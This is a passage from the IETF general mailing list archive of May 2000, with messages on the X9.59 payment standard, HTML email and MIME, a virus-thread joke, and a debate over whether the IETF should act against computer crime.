          for <ietf@ietf.org>; Sun, 21 May 2000 10:16:50 +0800
Message-ID: <001a01bfc2c8$c8ddf3a0$ec406fa6@Zhengyq>
From: zhengyq@sdp.ee.tsinghua.edu.cn (Zheng Youquan)
To: "ietf.org" <ietf@ietf.org>
Subject: who can tell me the email address of Scott Shenker ???
Date: Sun, 21 May 2000 10:03:40 +0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="gb2312"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.3825.400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.3825.400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by ietf.org id WAA03379
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

I want to ask him some questions. 
thank you very much!



From owner-ietf-outbound  Sat May 20 23:01:23 2000
Received: by ietf.org (8.9.1a/8.9.1a) id XAA04560
	for ietf-outbound.10@ietf.org; Sat, 20 May 2000 23:00:02 -0400 (EDT)
Received: from sdp.ee.tsinghua.edu.cn (sdp.ee.tsinghua.edu.cn [166.111.64.222])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA04522
	for <ietf@ietf.org>; Sat, 20 May 2000 22:52:11 -0400 (EDT)
Received: from Zhengyq ([166.111.64.236]) by sdp.ee.tsinghua.edu.cn
          (Netscape Mail Server v2.02) with SMTP id AAA159
          for <ietf@ietf.org>; Sun, 21 May 2000 11:06:00 +0800
Message-ID: <003801bfc2cf$a6ac6d00$ec406fa6@Zhengyq>
From: zhengyq@sdp.ee.tsinghua.edu.cn (Zheng Youquan)
To: "ietf.org" <ietf@ietf.org>
Subject: who can tell me the email address of Scott Shenker ???
Date: Sun, 21 May 2000 10:52:49 +0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="gb2312"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.3825.400
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.3825.400
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from base64 to 8bit by ietf.org id WAA04522
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 8bit

I want to ask him several questions.
Thank you very much!



From owner-ietf-outbound  Sun May 21 02:41:41 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA17640
	for ietf-outbound.10@ietf.org; Sun, 21 May 2000 02:40:04 -0400 (EDT)
Received: from winery.garlic.com (winery-en0b.garlic.com [216.139.31.163])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA17593
	for <ietf@ietf.org>; Sun, 21 May 2000 02:32:17 -0400 (EDT)
Received: from lynnpc (lynn-17.garlic.com [208.195.167.17])
	by winery.garlic.com (8.10.0/8.10.0) with ESMTP id e4L6TSR39922;
	Sat, 20 May 2000 23:29:33 -0700
Message-Id: <4.2.2.20000520232806.00ab37b0@garlic.com>
X-Sender: lynn@garlic.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 
Date: Sat, 20 May 2000 23:28:06 -0700
To: Musandu <musandu@arcc.or.ke>
From: Anne & Lynn Wheeler <lynn@garlic.com>
Subject: re: Financial Stnadards Work group?
Cc: Anne & Lynn Wheeler <lynn@garlic.com>, ietf@ietf.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

X9.59 is a financial industry standard for all account-based electronic 
retail transactions.

In the AADS strawman chip scenerio for X9.59 ... whether debit, credit, 
prepaid, etc. , the chip would sign a X9.59 transaction and work identical 
whether it was at person's PC or at point-of-sale (it works the same 
whether any ietf internet infrastructure is involved or existing financial 
network infrastructure)

Such an AADS strawman chip scenerio for X9.59 would work the same 
regardless of internet, no-internet, point-of-sale, debit, credit, 
pre-paid, bank, subscriber, isp. (the AADS strawman chip scenerio also 
works the same for non-X9.59 AADS scenerios like AADS radius, ISP 
authenticated access, webserver authenticated access, VPN authentication 
operation, etc).

There are some issues for the AADS strawman chip scnerio for X9.59, like 
contact or contactless. Contact would be standard existing chipcard 
standard and would be useable in existing chipcard contact readers. The 
contactless standards are less well accepted ... but establishing a 
contactless accepted standard would free up the AADS strawman chip to 
become form-factor agnostic (i.e. an AADS strawman chip could imbedded into 
almost any shape and be able to operate).

The AADS chip strawman scenerio for X9.59 not only proposes that it is the 
same regardless of whether it is Internet or non-internet, but also whether 
it is credit, debit, pre-paid, authenticated access, existing financial 
infrastructure, point-of-sale, who the bank is, face-to-face physical, who 
the service provider is, as well as what country that it might operate in


At 08:06 AM 5/16/2000 +0300, Musandu wrote:
>I do not quiet agree with the current standards, they are a pain in the
>neck.  E.g ( Just one example ) I want the internet debit card and the
>devices for charging them to be standard hardware available in any computer
>store.  This will allow one to chose any bank or service provider ( instead
>of your money going proprietory ): imagine buying a new modem or router
>every time you change ISPs or buying different kinds of printers for
>printing from different web sites.  That is the position of debit card
>recharging buying a new device each time you change the service provider.
>The IETF can help or do you hold alternative views  ( give me some
>recharging devices that allow change overs )??
>
>Yours sincerely,
>Nyagudi Musandu
>
>At 10:28 14/05/00 -0700, you wrote:
> >Musandu <musandu@arcc.or.ke> writes:
> >
> > >It may just be time for the IETF to develop a financial standards
> > >work group separate from the applications work group.  I can even >forsee
> >a Simple Cash Transfer Protocol? any objections?
> >
> >There is an ANSI Financial Standards body (X9) which is also chair of the
> >ISO Financial Standards group.
> >
> >The electronic commerce payments working group (X9A10) has a draft standard
> >for all electronic retail payments (debit, credit, pre-paid, electronic
> >cash, etc) .. X9.59.
> >
> >
> >misc. ref
> >
> >http://www.x9.org/
> >http://www.x9.org/main_organization.html
> >http://www.x9.org/subcomms/x9a/general/public/general.html
> >http://www.tc68.org/
> >http://www.x9.org/n20.html
> >http://www.garlic.com/~lynn/
> >http://www.garlic.com/~lynn/99.html#224
> >http://www.garlic.com/~lynn/8583flow.htm
> >http://www.garlic.com/~lynn/draft-wheeler-ipki-aads-01.txt
> >
> >& of course my rfc index is also at:
> >
> >http://www.garlic.com/~lynn/rfcietff.htm
> >
> >as well as ietf, payments, security, X9F, and financial glossaries
> >
> >
> >
> >--
> >Anne & Lynn Wheeler      lynn@adcomsys.net, lynn@garlic.com
> >   http://www.garlic.com/~lynn/ http://www.adcomsys.net/lynn/
> >
> >
> >

--
Anne & Lynn Wheeler      lynn@adcomsys.net, lynn@garlic.com
   http://www.garlic.com/~lynn/  http://www.adcomsys.net/lynn/



From owner-ietf-outbound  Sun May 21 08:53:00 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA07434
	for ietf-outbound.10@ietf.org; Sun, 21 May 2000 08:50:02 -0400 (EDT)
Received: from monsoon.mail.pipex.net (monsoon.mail.pipex.net [158.43.128.69])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA07384
	for <ietf@ietf.org>; Sun, 21 May 2000 08:47:10 -0400 (EDT)
Received: (qmail 2918 invoked from network); 21 May 2000 12:47:11 -0000
Received: from usereu55.uk.uudial.com (HELO GK-VAIO.Dial.pipex.com) (62.188.17.139)
  by smtp.dial.pipex.com with SMTP; 21 May 2000 12:47:11 -0000
Message-Id: <4.3.1.2.20000521084414.00e065d0@pop.dial.pipex.com>
X-Sender: maiw03@pop.dial.pipex.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Sun, 21 May 2000 08:48:56 +0100
To: ned.freed@INNOSOFT.COM
From: Graham Klyne <GK@Dial.pipex.com>
Subject: New mailing list?
Cc: ietf@ietf.org
In-Reply-To: <01JPD2MBN8EC00004Y@mauve.mrochek.com>
References: <"Your message dated Fri, 12 May 2000 14:05:07 -0400" <200005121805.e4CI58x37270@black-ice.cc.vt.edu>
 <Pine.BSI.4.21.0005121336560.6531-100000@escape.com>
 <Pine.BSI.4.21.0005121336560.6531-100000@escape.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 07:31 PM 5/13/00 -0800, ned.freed@INNOSOFT.COM wrote:
> > Actually, there *ARE* important issues here.
>
> > Would the IESG support the creation of a WG to discuss these, with the
> > charter of producing a BCP documenting what *should* be done to minimize
> > these risks in today's internet?
>
>Talking about a WG seems premature. The first step would be to start a
>discussion list and maybe schedule a BOF. If those steps prove fruitful
>a WG would be a possibility.
>
>I can set up a mailing list if you like.

Loath as I am to subscribe to yet another mailing list, one dealing with 
ways to control the spread of malicious content is one that I think would 
be very worthwhile.

#g

(Who uses an 8-year old version of Microsoft Word, in part as a precaution 
against macro viruses ;-)


------------
Graham Klyne
(GK@ACM.ORG)



From owner-ietf-outbound  Sun May 21 09:02:39 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA07518
	for ietf-outbound.10@ietf.org; Sun, 21 May 2000 09:00:02 -0400 (EDT)
Received: from monsoon.mail.pipex.net (monsoon.mail.pipex.net [158.43.128.69])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA07391
	for <ietf@ietf.org>; Sun, 21 May 2000 08:47:14 -0400 (EDT)
Received: (qmail 2940 invoked from network); 21 May 2000 12:47:15 -0000
Received: from usereu55.uk.uudial.com (HELO GK-VAIO.Dial.pipex.com) (62.188.17.139)
  by smtp.dial.pipex.com with SMTP; 21 May 2000 12:47:15 -0000
Message-Id: <4.3.1.2.20000521085325.00e06200@pop.dial.pipex.com>
X-Sender: maiw03@pop.dial.pipex.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Sun, 21 May 2000 08:58:03 +0100
To: William.Flanigan@bmdo.osd.mil
From: Graham Klyne <GK@Dial.pipex.com>
Subject: Feeding the virus thread virus
Cc: ietf@ietf.org
In-Reply-To: <516542F35571D31187C000A0C9DCD330574C46@hqbmdomsg01.bmdo.os
 d.mil>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

I am rather amused at how frequently attempts to solve a problem become 
part of the problem.

I went on a "management communications" course once.  One of the things I 
remember was:  "You have one mouth and two ears... use them in 
corresponding proportion".  Unfortunately, in e-mail, we have 10 fingers 
and two eyes :-)

#g

(Who is hereby guilty of having too many fingers, for which I apologize.)


At 08:20 AM 5/15/00 -0400, William.Flanigan@bmdo.osd.mil wrote:
>PLEASE change the title of this thread.  It's borders on a partial self
>denial of service, since the title is now misleading.  Thank you.
>
>Bill Flanigan
>
>-----Original Message-----
>From: Henry Clark [mailto:henryc@mindspring.com]
>Sent: Sunday, May 14, 2000 4:35 PM
>To: Jeremy
>Cc: ietf@ietf.org
>Subject: Re: VIRUS WARNING
>
>
>At 01:38 PM 5/12/00 -0400, Jeremy wrote:
> >Can you plase pleaes stop this Virus Thread.
>
>This thread _is_ the virus...
>
>-
>This message was passed through ietf+censored@alvestrand.no, which
>is a sublist of ietf@ietf.org. Not all messages are passed.
>Decisions on what to pass are made solely by Harald Alvestrand.

------------
Graham Klyne
(GK@ACM.ORG)



From owner-ietf-outbound  Sun May 21 09:12:39 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA07703
	for ietf-outbound.10@ietf.org; Sun, 21 May 2000 09:10:02 -0400 (EDT)
Received: from monsoon.mail.pipex.net (monsoon.mail.pipex.net [158.43.128.69])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA07398
	for <ietf@ietf.org>; Sun, 21 May 2000 08:47:15 -0400 (EDT)
Received: (qmail 2944 invoked from network); 21 May 2000 12:47:16 -0000
Received: from usereu55.uk.uudial.com (HELO GK-VAIO.Dial.pipex.com) (62.188.17.139)
  by smtp.dial.pipex.com with SMTP; 21 May 2000 12:47:16 -0000
Message-Id: <4.3.1.2.20000521090206.00db1f00@pop.dial.pipex.com>
X-Sender: maiw03@pop.dial.pipex.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Sun, 21 May 2000 09:08:46 +0100
To: Valdis.Kletnieks@vt.edu
From: Graham Klyne <GK@Dial.pipex.com>
Subject: Re: HTML email 
Cc: ietf@ietf.org
In-Reply-To: <200005160424.e4G4OOx29928@black-ice.cc.vt.edu>
References: <Your message of "Mon, 15 May 2000 18:22:00 EDT." <39207888.A0DD7D04@ecal.com>
 <200005121644.KAA18588@calcite.rhyolite.com>
 <39207888.A0DD7D04@ecal.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 12:24 AM 5/16/00 -0400, Valdis.Kletnieks@vt.edu wrote:
>Well, when we were designing the MIME spec, we went to great lengths
>to cover all the bases - in fact, I've seen one very good use of
>multipart/alternative by somebody with crippling RSI.
>
>He got into the habit of sending commentary to a mailing list as
>multipart/alternative - one part being a *very* brief summary of
>his commentary (usually a sentence or two tops), and the other being
>a message/external-body pointing at a (usually longer) audio file
>that he'd record in greater detail - this was in the days before
>good speech-to-text software.
>
>Yes, it probably violated the letter of the law just a bit, but
>it was certainly in the spirit of it..

Interesting...  nothing is new under the sun, etc.

Recently, in considering designs for content negotiation in e-mail, I 
considered exactly that model (which is, as far as I can tell, entirely 
within the letter of the law).  In the end it was rejected for purely 
pragmatic reasons -- that proper support for multipart/alternative is not 
sufficiently widely available.

(I've just been to WWW9, where one of the themes has been mobile data.  One 
recurring idea there was the extent to which the problems of mobile data 
and accessibility for persons with constrained abilities are, at a purely 
technical level, facets of the same problem.)

#g

------------
Graham Klyne
(GK@ACM.ORG)



From owner-ietf-outbound  Sun May 21 09:22:39 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA07822
	for ietf-outbound.10@ietf.org; Sun, 21 May 2000 09:20:02 -0400 (EDT)
Received: from monsoon.mail.pipex.net (monsoon.mail.pipex.net [158.43.128.69])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA07405
	for <ietf@ietf.org>; Sun, 21 May 2000 08:47:17 -0400 (EDT)
Received: (qmail 2948 invoked from network); 21 May 2000 12:47:18 -0000
Received: from usereu55.uk.uudial.com (HELO GK-VAIO.Dial.pipex.com) (62.188.17.139)
  by smtp.dial.pipex.com with SMTP; 21 May 2000 12:47:18 -0000
Message-Id: <4.3.1.2.20000521091005.00d2cbe0@pop.dial.pipex.com>
X-Sender: maiw03@pop.dial.pipex.com (Unverified)
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Sun, 21 May 2000 09:14:10 +0100
To: Musandu <musandu@arcc.or.ke>
From: Graham Klyne <GK@Dial.pipex.com>
Subject: re: Financial Stnadards Work group?
Cc: ietf@ietf.org
In-Reply-To: <200005160506.IAA07081@arcc.or.ke>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

Hmmm... a new IETF working group does not a new standard make -- necessarily.

I would suggest clearly documenting the _requirements_ (or goals) for such 
a protocol, publishing them as an Internet Draft, and see if anyone 
expresses interest.  Then you can have a debate about whether and why the 
existing standards are or are not adequate.  And maybe (just maybe) there 
will be a case to design a new protocol, or protocol extensions.

#g
--

At 08:06 AM 5/16/00 +0300, Musandu wrote:
>I do not quiet agree with the current standards, they are a pain in the
>neck.  E.g ( Just one example ) I want the internet debit card and the
>devices for charging them to be standard hardware available in any computer
>store.  This will allow one to chose any bank or service provider ( instead
>of your money going proprietory ): imagine buying a new modem or router
>every time you change ISPs or buying different kinds of printers for
>printing from different web sites.  That is the position of debit card
>recharging buying a new device each time you change the service provider.
>The IETF can help or do you hold alternative views  ( give me some
>recharging devices that allow change overs )??
>
>Yours sincerely,
>Nyagudi Musandu
>
>At 10:28 14/05/00 -0700, you wrote:
> >Musandu <musandu@arcc.or.ke> writes:
> >
> > >It may just be time for the IETF to develop a financial standards
> > >work group separate from the applications work group.  I can even >forsee
> >a Simple Cash Transfer Protocol? any objections?
> >
> >There is an ANSI Financial Standards body (X9) which is also chair of the
> >ISO Financial Standards group.
> >
> >The electronic commerce payments working group (X9A10) has a draft standard
> >for all electronic retail payments (debit, credit, pre-paid, electronic
> >cash, etc) .. X9.59.
> >
> >
> >misc. ref
> >
> >http://www.x9.org/
> >http://www.x9.org/main_organization.html
> >http://www.x9.org/subcomms/x9a/general/public/general.html
> >http://www.tc68.org/
> >http://www.x9.org/n20.html
> >http://www.garlic.com/~lynn/
> >http://www.garlic.com/~lynn/99.html#224
> >http://www.garlic.com/~lynn/8583flow.htm
> >http://www.garlic.com/~lynn/draft-wheeler-ipki-aads-01.txt
> >
> >& of course my rfc index is also at:
> >
> >http://www.garlic.com/~lynn/rfcietff.htm
> >
> >as well as ietf, payments, security, X9F, and financial glossaries
> >
> >
> >
> >--
> >Anne & Lynn Wheeler      lynn@adcomsys.net, lynn@garlic.com
> >   http://www.garlic.com/~lynn/  http://www.adcomsys.net/lynn/
> >
> >
> >
>
>-
>This message was passed through ietf+censored@alvestrand.no, which
>is a sublist of ietf@ietf.org. Not all messages are passed.
>Decisions on what to pass are made solely by Harald Alvestrand.

------------
Graham Klyne
(GK@ACM.ORG)



From owner-ietf-outbound  Sun May 21 14:02:33 2000
Received: by ietf.org (8.9.1a/8.9.1a) id OAA09170
	for ietf-outbound.10@ietf.org; Sun, 21 May 2000 14:00:02 -0400 (EDT)
Received: from unni.dsv.su.se (unni.dsv.su.se [130.237.161.27])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09143
	for <ietf@ietf.org>; Sun, 21 May 2000 13:57:23 -0400 (EDT)
Received: from [130.237.150.138] (jph1.dsv.su.se [130.237.150.138])
	by unni.dsv.su.se (8.9.3+Sun/8.9.3) with ESMTP
	id TAA01182;
	Sun, 21 May 2000 19:57:21 +0200 (MET DST)
Mime-Version: 1.0
Message-Id: <v04210102b54c9601e1fc@[193.173.137.42]>
Date: Sun, 21 May 2000 03:18:11 +0200
To: IETF general mailing list <ietf@ietf.org>
From: Jacob Palme <jpalme@DSV.SU.SE>
Subject: Should IETF do more to fight computer crime?
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

Should IETF do anything to fight the increasing incidences
of net criminality? Can we do anything? Can the protocols,
which IETF manages, be modified so as to make it easier
to fight virus distribution, mail bombing, ping attacks
and the other ways in which people are harassing the
Internet?

Or would such changes to the Internet protocols mean
more invasion of privacy, in a way which is even less
acceptable than letting the criminals continue? It seems
that there is a strong group in IETF which likes the
freedom of the net and believes that changes to stop
criminal usage would also remove this freedom? Is this
true, or can we fight net criminaltiy without risking
the freedom of the net?

Crime prevention outside the net      Crime prevention in the net
--------------------------------      ---------------------------

Surveillance, video cameras,          Is it possible to allow surveillance on
wiretapping, bugging                  the net in such ways, that it will not be
                                      misused? IETF did apparently not think
                                      so, when this was discussed at the IETF
                                      meeting in December 1999, where a very
                                      large majority voted against any kind of
                                      help from IETF in this area.

Making crime difficult by locks       We have rather little locks, and what we
walls and crime-safe houses.          have is not used very much. Why?

video cameras, black boxes and other  Is this also not acceptable? Could we log
tools to investigate "after the fact" what happens on the net in ways which
what happended.                       makes it possible to track the criminals,
                                      without risking misuse which threatens
                                      the freedom of the net?

Laws, detectives, prosecution,        Are also applied to net criminals, if
penalties                             they are caught.

Controlling access to dangerous       This method is probably not useful
tools and weapons, like explosives,   against computer terrorism. Computers,
etc.                                  like hammers, are the same whether
                                      used for good or bad acts.

Police on the streets.                Do we have police on the nets? Do we
                                      accept them? Help them?

International police cooperation.     This is essential, computer criminals
                                      often run their crimes over national
                                      borders to make them more difficult to
                                      find and prosecute.

Harmonized laws across countries.     Can te laws, as they apply to computers,
                                      be internationally harmonized in ways
                                      which makes it less easy for criminals to
                                      find safe harbours in countries which do
                                      not have the necessary laws?

-- 
Jacob Palme <jpalme@dsv.su.se> (Stockholm University and KTH)
for more info see URL: http://www.dsv.su.se/jpalme/



From owner-ietf-outbound  Sun May 21 17:01:39 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA10069
	for ietf-outbound.10@ietf.org; Sun, 21 May 2000 17:00:01 -0400 (EDT)
Received: from sol.wwwnexus.com (sol.wwwnexus.com [209.150.128.86])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA10031
	for <ietf@ietf.org>; Sun, 21 May 2000 16:52:26 -0400 (EDT)
Received: from africaservice.com (ti18a02-0143.dialup.online.no [130.67.225.143])
	by sol.wwwnexus.com (8.8.5/8.8.5) with ESMTP id PAA14632
	for <ietf@ietf.org>; Sun, 21 May 2000 15:52:23 -0500
Message-ID: <38B23323.43DB8518@africaservice.com>
Date: Mon, 21 Feb 2000 22:56:35 -0800
From: africaservice <africaservice@africaservice.com>
X-Mailer: Mozilla 4.72 [en] (Windows NT 5.0; I)
X-Accept-Language: en
MIME-Version: 1.0
To: IETF general mailing list <ietf@ietf.org>
Subject: Re-Computer Crime
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

We should know that computer technology is as old as we wanted to
accept. The whole thing was not meant for public consumption until after
sometime. Now that it is in the public's domain, many are using the
system reasonably while others find joy in cracking into the system,
allow the crackers to go ahead with what they know how to do best, I
think is a good thing as it will enable computer designers to be more
security conscious and give us a more secured device if this is the tool
we will be using in the future.

Dele Olawole
CEO - Africaservice.com
http://www.africaservice.com



From owner-ietf-outbound  Sun May 21 17:11:22 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA10224
	for ietf-outbound.10@ietf.org; Sun, 21 May 2000 17:10:02 -0400 (EDT)
Received: from dokka.maxware.no (dokka.maxware.no [195.139.236.69])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA10039
	for <ietf@ietf.org>; Sun, 21 May 2000 16:54:47 -0400 (EDT)
Received: from langfjella.Alvestrand.no ([10.128.167.143])
	by dokka.maxware.no (8.9.3/8.9.3) with ESMTP id WAA18811;
	Sun, 21 May 2000 22:54:44 +0200
Message-Id: <4.3.1.2.20000521224400.03f285d0@dokka.kvatro.no>
X-Sender: hta@dokka.maxware.no
X-Mailer: QUALCOMM Windows Eudora Version 4.3.1
Date: Sun, 21 May 2000 22:52:38 +0200
To: Jacob Palme <jpalme@DSV.SU.SE>, IETF general mailing list <ietf@ietf.org>
From: Harald Tveit Alvestrand <Harald@Alvestrand.no>
Subject: Re: Should IETF do more to fight computer crime?
In-Reply-To: <v04210102b54c9601e1fc@[193.173.137.42]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Loop: ietf@ietf.org

At 03:18 21.05.2000 +0200, Jacob Palme wrote:
>Should IETF do anything to fight the increasing incidences
>of net criminality?

Yes - make sure we have tools to establish trust.
Make it less necessary to "trust everyone to be nice".

>  Can we do anything? Can the protocols,
>which IETF manages, be modified so as to make it easier
>to fight virus distribution, mail bombing, ping attacks
>and the other ways in which people are harassing the
>Internet?
>
>Or would such changes to the Internet protocols mean
>more invasion of privacy, in a way which is even less
>acceptable than letting the criminals continue? It seems
>that there is a strong group in IETF which likes the
>freedom of the net and believes that changes to stop
>criminal usage would also remove this freedom? Is this
>true, or can we fight net criminaltiy without risking
>the freedom of the net?
>
>Crime prevention outside the net      Crime prevention in the net
>--------------------------------      ---------------------------
>
>Surveillance, video cameras,          Is it possible to allow surveillance on
>wiretapping, bugging                  the net in such ways, that it will 
>not be
>                                       misused? IETF did apparently not think
>                                       so, when this was discussed at the IETF
>                                       meeting in December 1999, where a very
>                                       large majority voted against any 
> kind of
>                                       help from IETF in this area.

Highly contentious also outside the Net.


>Making crime difficult by locks       We have rather little locks, and what we
>walls and crime-safe houses.          have is not used very much. Why?

Crypto.


>video cameras, black boxes and other  Is this also not acceptable? Could 
>we log
>tools to investigate "after the fact" what happens on the net in ways which
>what happended.                       makes it possible to track the 
>criminals,
>                                       without risking misuse which threatens
>                                       the freedom of the net?

Signatures.

More work needed, especially thinking about deploying the more esoteric 
variants
of signatures, such as "you can only find out who I am if I try to cheat you",
or "I have left proof of my identity in this box, which you cannot open without
accusing me in public of trying to cheat you".

One reason the digital paper trail is so awfully wide is simply because it's
so simple to "just" record the plaintext identities.

------------- below this line, I think it's not IETF business ----------------


>Laws, detectives, prosecution,        Are also applied to net criminals, if
>penalties                             they are caught.

Not the IETF's business.


>Controlling access to dangerous       This method is probably not useful
>tools and weapons, like explosives,   against computer terrorism. Computers,
>etc.                                  like hammers, are the same whether
>                                       used for good or bad acts.

Agree. Not something we want to do anything about.


>Police on the streets.                Do we have police on the nets? Do we
>                                       accept them? Help them?

We have them. Not an IETF problem.


>International police cooperation.     This is essential, computer criminals
>                                       often run their crimes over national
>                                       borders to make them more difficult to
>                                       find and prosecute.

They're making cooperation, whether we want it or not.
Not an IETF problem.


>Harmonized laws across countries.     Can te laws, as they apply to computers,
>                                       be internationally harmonized in ways
>                                       which makes it less easy for 
> criminals to
>                                       find safe harbours in countries 
> which do
>                                       not have the necessary laws?

They are being harmonized, whether for good or bad remains to be seen.
Not an IETF problem.

--
Harald Tveit Alvestrand, EDB Maxware, Norway
Harald.Alvestrand@edb.maxware.no



From owner-ietf-outbound  Sun May 21 17:51:27 2000
Received: by ietf.org (8.9.1a/8.9.1a) id RAA10498
	for ietf-outbound.10@ietf.org; Sun, 21 May 2000 17:50:02 -0400 (EDT)
Received: from mail.activeIQ.com (bedfordexect112.erols.com [208.58.189.12])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA10475
	for <ietf@ietf.org>; Sun, 21 May 2000 17:46:42 -0400 (EDT)
Received: (from rali@localhost)
	by mail.activeIQ.com (8.9.3/8.9.3) id RAA28579
	for ietf@ietf.org; Sun, 21 May 2000 17:43:08 -0400
From: R A Lichtensteiger <rali@ActiveIQ.com>
Message-Id: <200005212143.RAA28579@mail.activeIQ.com>
Subject: Re: Should IETF do more to fight computer crime?
In-Reply-To: <v04210102b54c9601e1fc@[193.173.137.42]> from Jacob Palme at "May
 21, 2000 03:18:11 am"
To: IETF general mailing list <ietf@ietf.org>
Date: Sun, 21 May 2000 17:43:08 -0400 (EDT)
X-PGP-Fingerprint:  3D 39 09 AF 18 C4 85 03  2B F5 2F B6 B9 2B 86 71 
X-PGP-Key: lynx -source http://www.tifosi.com/rali/rali.pgp | pgp -fka
X-Mailer: ELM [version 2.4ME+ PL60 (25)]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Jacob Palme said:

<> Should IETF do anything to fight the increasing incidences
<> of net criminality? Can we do anything? Can the protocols,
<> which IETF manages, be modified so as to make it easier
<> to fight virus distribution, mail bombing, ping attacks
<> and the other ways in which people are harassing the
<> Internet?

Harald pointed to crypto and signatures.  I'd add that there
really are a fair number of tools out there already to do
Intrusion Detection and/or post mortem analysis.  There is
also a great deal of knowledge about how to "lock down the
house."

However, just as you can't make the horse drink, you can't
make all of the end networks install or use the existing tools
properly. I'm not sure if this is an argument for pushing the
work off onto IETF wg, or whether it's an argument for "throwing
up ones hands" ...

I think a  lot of the work can and OUGHT to be done by the
various vendors --  for examples, routers should, by default,
reject broadcast pings (you could always turn it on if needed)
and mail clients and web browsers should automagically refuse
to run executable content (other than inside a "container").

Reto L.
-- 
R A Lichtensteiger		rali@activeiq.com
				781 276 4500

        Could not open /usr/bin/fortune. Lid on cookie jar sealed



From owner-ietf-outbound  Mon May 22 02:04:15 2000
Received: by ietf.org (8.9.1a/8.9.1a) id CAA20276
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 02:00:03 -0400 (EDT)
Received: from ausmtp02.au.ibm.com (ausmtp02.au.ibm.COM [202.135.136.105])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA20233
	for <ietf@ietf.org>; Mon, 22 May 2000 01:55:17 -0400 (EDT)
From: knarayan@in.ibm.com
Received: from f03n07e.au.ibm.com 
	by ausmtp02.au.ibm.com (IBM AP 1.0) with ESMTP id PAA42746
	for <ietf@ietf.org>; Mon, 22 May 2000 15:49:29 +1000
Received: from d73mta05.au.ibm.com (f06n05s [9.185.166.67])
	by f03n07e.au.ibm.com (8.8.8m2/8.8.7) with SMTP id PAA17942
	for <ietf@ietf.org>; Mon, 22 May 2000 15:54:38 +1000
Received: by d73mta05.au.ibm.com(Lotus SMTP MTA v4.6.5  (863.2 5-20-1999))  id CA2568E7.002074B8 ; Mon, 22 May 2000 15:54:30 +1000
X-Lotus-FromDomain: IBMIN@IBMAU
To: ietf@ietf.org
Message-ID: <CA2568E7.00207255.00@d73mta05.au.ibm.com>
Date: Mon, 22 May 2000 11:05:27 +0530
Subject: Active networks
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
X-Loop: ietf@ietf.org


Hi,

I would like to get some info on Active Network. Can somebody help ?

Narayanan.K,
knarayan@in.ibm.com




From owner-ietf-outbound  Mon May 22 04:30:21 2000
Received: by ietf.org (8.9.1a/8.9.1a) id EAA27644
	for ietf-outbound.10@ietf.org; Mon, 22 May 2000 04:30:01 -0400 (EDT)
Received: from prv-mail20.provo.novell.com (prv-mail20.provo.novell.com [137.65.81.122])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA27567
	for <ietf@ietf.org>; Mon, 22 May 2000 04:12:34 -0400 (EDT)
Received: from INET-PRV-Message_Server by prv-mail20.provo.novell.com
	with Novell_GroupWise; Mon, 22 May 2000 02:01:16 -0600
Message-Id: <s92894ec.087@prv-mail20.provo.novell.com>
X-Mailer: Novell GroupWise Internet Agent 5.5.3.1
Date: Mon, 22 May 2000 02:01:08 -0600
From: "Kumar Subramanian" <KSubramanian@novell.com>
To: <ietf@ietf.org>, <knarayan@in.ibm.com>
Subject: Re: Active networks
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
